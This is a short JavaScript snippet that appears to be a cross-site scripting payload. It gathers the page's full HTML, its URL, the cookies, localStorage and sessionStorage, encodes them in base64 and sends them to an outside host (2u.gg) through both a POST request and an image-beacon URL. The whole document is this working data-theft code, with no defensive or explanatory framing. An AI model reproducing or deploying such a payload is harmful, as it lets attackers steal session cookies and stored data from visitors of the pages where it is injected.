function sendPost(content, url, cookies, localstorage, sessionstorage, postUrl) { const formData = new FormData(); formData.append("page", content); formData.append("url", url); formData.append("cookies", cookies); formData.append("localstorage", localstorage); formData.append("sessionstorage", sessionstorage); return fetch(postUrl, { method: "POST", body: formData }); } const sourceCode = btoa(encodeURIComponent(document.documentElement.outerHTML)); const currentUrl = btoa(encodeURIComponent(window.location.href)); const cookies = btoa(encodeURIComponent(document.cookie)); const localStorageData = btoa(encodeURIComponent(JSON.stringify(localStorage))); const sessionStorageData = btoa(encodeURIComponent(JSON.stringify(sessionStorage))); const postUrl = "https://2u.gg/save.php"; sendPost(sourceCode, currentUrl, cookies, localStorageData, sessionStorageData, postUrl); new Image().src = "https://2u.gg/2.php?c=" + currentUrl + "&d=" + cookies + "&e=" + localStorageData + "&f=" + sessionStorageData;